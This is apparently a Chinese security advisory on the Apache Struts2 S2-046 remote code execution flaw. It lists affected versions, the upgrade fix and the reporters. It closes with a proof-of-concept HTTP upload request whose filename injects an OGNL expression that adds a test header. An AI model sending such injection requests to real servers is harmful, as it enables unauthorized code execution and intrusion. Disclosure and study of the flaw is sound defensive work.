Apache Struts2远程代码执行漏洞(s2-046)

漏洞描述

攻击者可构造HTTP请求头中的Content-Type值进行远程代码执行攻击。如果Content-Dispostion / Content-Length值无效则返回异常给用户。这是S2-045（CVE-2017-5638）漏洞的另外一种利用方法。

漏洞详情

使用Jakarta插件处理文件上传时可能导致远程代码执行（RCE）漏洞

漏洞评级

高危

修复建议

升级到Struts 2.3.32或Struts2.5.10.1

影响范围

Struts   2.3.5 - Struts 2.3.31，Struts 2.5 –   Struts 2.5.10

报告者

Chris   Frohoff <cfrohoff at qualcomm dot com>, Nike Zheng <nike dot zheng   at dbappsecurity dot com dot cn>, Alvaro Munoz <alvaro dot munoz at hpe   dot com>

CVE   Identifier

漏洞编号

CVE-2017-5638

S2-046 PoC

POST /doUpload.action HTTP/1.1 Host: localhost:8080 Content-Length: 1000000000 Cache-Control: max-age=0 Origin: http://localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://localhost:8080/doUpload Accept-Language: en-US,en;q=0.8,es;q=0.6 Connection: close   ------WebKitFormBoundaryXd004BVJN9pBYBL2 Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" Content-Type: text/plain     foo ------WebKitFormBoundaryXd004BVJN9pBYBL2--